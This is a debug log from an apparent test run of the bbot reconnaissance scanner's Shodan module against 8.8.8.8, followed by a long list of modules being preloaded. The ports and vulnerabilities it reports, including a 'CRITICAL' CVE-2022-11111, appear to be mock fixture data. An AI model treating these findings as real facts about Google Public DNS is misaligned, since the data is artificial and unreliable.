09:13:10,646 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:13:10,646 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) +2026-03-02 09:13:10,647 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) passed post-check +2026-03-02 09:13:10,647 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) +2026-03-02 09:13:10,647 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) in-scope because its main host matches the scan target +2026-03-02 09:13:10,648 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:13:10,648 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) because precheck succeeded +2026-03-02 09:13:10,648 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) passed post-check +2026-03-02 09:13:10,648 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) +2026-03-02 09:13:10,649 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:13:10,649 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check +2026-03-02 09:13:10,649 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:13:10,650 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) +2026-03-02 09:13:10,650 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check +2026-03-02 09:13:10,650 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:13:10,650 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) +2026-03-02 09:13:10,651 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) because precheck succeeded +2026-03-02 09:13:10,651 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) passed post-check +2026-03-02 09:13:10,651 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) +2026-03-02 09:13:10,651 [DEBUG] bbot.modules._scan_ingress base.py:1563 Not forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) because event was already emitted by its module +2026-03-02 09:13:10,652 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check +2026-03-02 09:13:10,652 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:13:10,652 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:13:10,653 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) in-scope because its main host matches the scan target +2026-03-02 09:13:10,653 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) +2026-03-02 09:13:10,653 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) because precheck succeeded +2026-03-02 09:13:10,653 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check +2026-03-02 09:13:10,654 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:13:10,654 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:13:10,654 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check +2026-03-02 09:13:10,655 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:13:10,655 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check +2026-03-02 09:13:10,655 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:13:10,656 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) in-scope because its main host matches the scan target +2026-03-02 09:13:10,656 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:13:10,656 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) because precheck succeeded +2026-03-02 09:13:10,656 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:13:10,657 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:13:10,657 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check +2026-03-02 09:13:10,657 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:13:10,658 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check +2026-03-02 09:13:10,658 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:13:10,658 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:13:10,658 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:13:10,659 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) because precheck succeeded +2026-03-02 09:13:10,659 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check +2026-03-02 09:13:10,659 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:13:10,659 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:13:10,660 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) because precheck succeeded +2026-03-02 09:13:10,720 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-servers'}) from shodan_enterprise +2026-03-02 09:13:10,721 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-servers'}) passed post-check +2026-03-02 09:13:10,721 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) from shodan_enterprise +2026-03-02 09:13:10,722 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check +2026-03-02 09:13:10,722 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) from shodan_enterprise +2026-03-02 09:13:10,723 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) passed post-check +2026-03-02 09:13:10,723 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) from shodan_enterprise +2026-03-02 09:13:10,723 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) passed post-check +2026-03-02 09:13:10,724 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) from shodan_enterprise +2026-03-02 09:13:10,724 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check +2026-03-02 09:13:10,724 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) from shodan_enterprise +2026-03-02 09:13:10,725 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check +2026-03-02 09:13:10,725 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) from shodan_enterprise +2026-03-02 09:13:10,725 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) passed post-check +2026-03-02 09:13:10,726 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) from shodan_enterprise +2026-03-02 09:13:10,726 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) passed post-check +2026-03-02 09:13:10,726 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) from shodan_enterprise +2026-03-02 09:13:10,727 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check +2026-03-02 09:13:10,727 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) from shodan_enterprise +2026-03-02 09:13:10,727 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check +2026-03-02 09:13:10,727 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) from shodan_enterprise +2026-03-02 09:13:10,728 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check +2026-03-02 09:13:10,728 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-03-02 09:13:10,728 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-03-02 09:13:10,729 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-03-02 09:13:10,729 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-03-02 09:13:10,729 [VERBOSE] bbot.scanner logger.py:151 Completed finish() +2026-03-02 09:13:10,729 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-03-02 09:13:10,730 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-03-02 09:13:10,730 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-03-02 09:13:10,830 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-03-02 09:13:10,830 [VERBOSE] bbot.scanner logger.py:151 Completed final finish() +2026-03-02 09:13:10,839 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-03-02 09:13:10,839 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-03-02 09:13:10,840 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-03-02 09:13:10,844 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-03-02 09:13:10,844 [VERBOSE] bbot.core.dnshelper logger.py:151 EngineClient DNSHelper: shutting down... +2026-03-02 09:13:10,845 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-03-02 09:13:10,846 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine got shutdown signal +2026-03-02 09:13:10,846 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: shutting down... +2026-03-02 09:13:10,846 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: finished shutting down +2026-03-02 09:13:10,913 [HUGESUCCESS] bbot.scanner logger.py:151 Scan testshodan_enterprise_test_923ssiw12j completed in 0 seconds with status FINISHED +2026-03-02 09:13:10,914 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-03-02 09:13:10,914 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-03-02 09:13:10,916 [CRITICAL] bbot test_module_shodan_enterprise.py:66 Found 1 ASN events +2026-03-02 09:13:10,916 [INFO] bbot test_module_shodan_enterprise.py:70 ASN is passed +2026-03-02 09:13:10,916 [CRITICAL] bbot test_module_shodan_enterprise.py:78 TCP ports: ['8.8.8.8:53'], UDP ports: ['8.8.8.8:53'] +2026-03-02 09:13:10,916 [HUGEWARNING] bbot logger.py:151 Vulnerabilities observed: {'CVE-2020-00001': 'LOW', 'CVE-2021-12345': 'HIGH', 'CVE-2022-11111': 'CRITICAL'} +2026-03-02 09:13:10,916 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test +2026-03-02 09:13:10,917 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected +2026-03-02 09:13:53,957 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/report +2026-03-02 09:13:53,965 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-03-02 09:13:53,965 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-03-02 09:13:53,966 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz +2026-03-02 09:13:53,966 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-03-02 09:13:53,967 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/output +2026-03-02 09:13:53,968 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-03-02 09:13:53,968 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-03-02 09:13:53,969 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-03-02 09:13:53,969 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-03-02 09:13:53,970 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-03-02 09:13:53,970 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-03-02 09:13:53,971 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-03-02 09:13:53,971 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-03-02 09:13:53,972 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-03-02 09:13:53,972 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-03-02 09:13:53,973 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-03-02 09:13:53,973 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-03-02 09:13:53,974 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-03-02 09:13:53,974 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-03-02 09:13:53,975 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-03-02 09:13:53,975 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-03-02 09:13:53,975 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-03-02 09:13:53,976 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-03-02 09:13:53,977 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-03-02 09:13:53,978 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-03-02 09:13:53,978 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-03-02 09:13:53,979 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/templates +2026-03-02 09:13:53,979 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules +2026-03-02 09:13:53,980 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-03-02 09:13:53,980 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-03-02 09:13:53,981 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-03-02 09:13:53,981 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-03-02 09:13:53,982 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-03-02 09:13:53,982 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-03-02 09:13:53,982 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-03-02 09:13:53,983 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-03-02 09:13:53,983 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-03-02 09:13:53,984 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-03-02 09:13:53,984 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-03-02 09:13:53,986 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-03-02 09:13:53,987 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-03-02 09:13:53,987 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-03-02 09:13:53,988 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-03-02 09:13:53,989 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-03-02 09:13:53,989 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-03-02 09:13:53,989 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-03-02 09:13:53,990 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-03-02 09:13:53,990 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-03-02 09:13:53,991 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-03-02 09:13:53,991 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-03-02 09:13:53,991 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-03-02 09:13:53,992 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-03-02 09:13:53,992 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-03-02 09:13:53,993 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-03-02 09:13:53,993 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-03-02 09:13:53,993 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-03-02 09:13:53,994 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-03-02 09:13:53,994 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-03-02 09:13:53,995 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-03-02 09:13:53,995 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-03-02 09:13:53,995 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-03-02 09:13:53,996 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-03-02 09:13:53,996 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-03-02 09:13:53,997 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-03-02 09:13:53,997 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-03-02 09:13:54,000 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-03-02 09:13:54,001 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-03-02 09:13:54,002 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-03-02 09:13:54,002 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-03-02 09:13:54,003 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-03-02 09:13:54,003 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-03-02 09:13:54,003 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-03-02 09:13:54,004 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-03-02 09:13:54,004 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-03-02 09:13:54,005 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-03-02 09:13:54,005 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-03-02 09:13:54,006 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-03-02 09:13:54,006 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-03-02 09:13:54,006 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-03-02 09:13:54,007 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-03-02 09:13:54,007 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-03-02 09:13:54,008 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-03-02 09:13:54,008 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-03-02 09:13:54,008 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-03-02 09:13:54,009 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-03-02 09:13:54,009 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-03-02 09:13:54,010 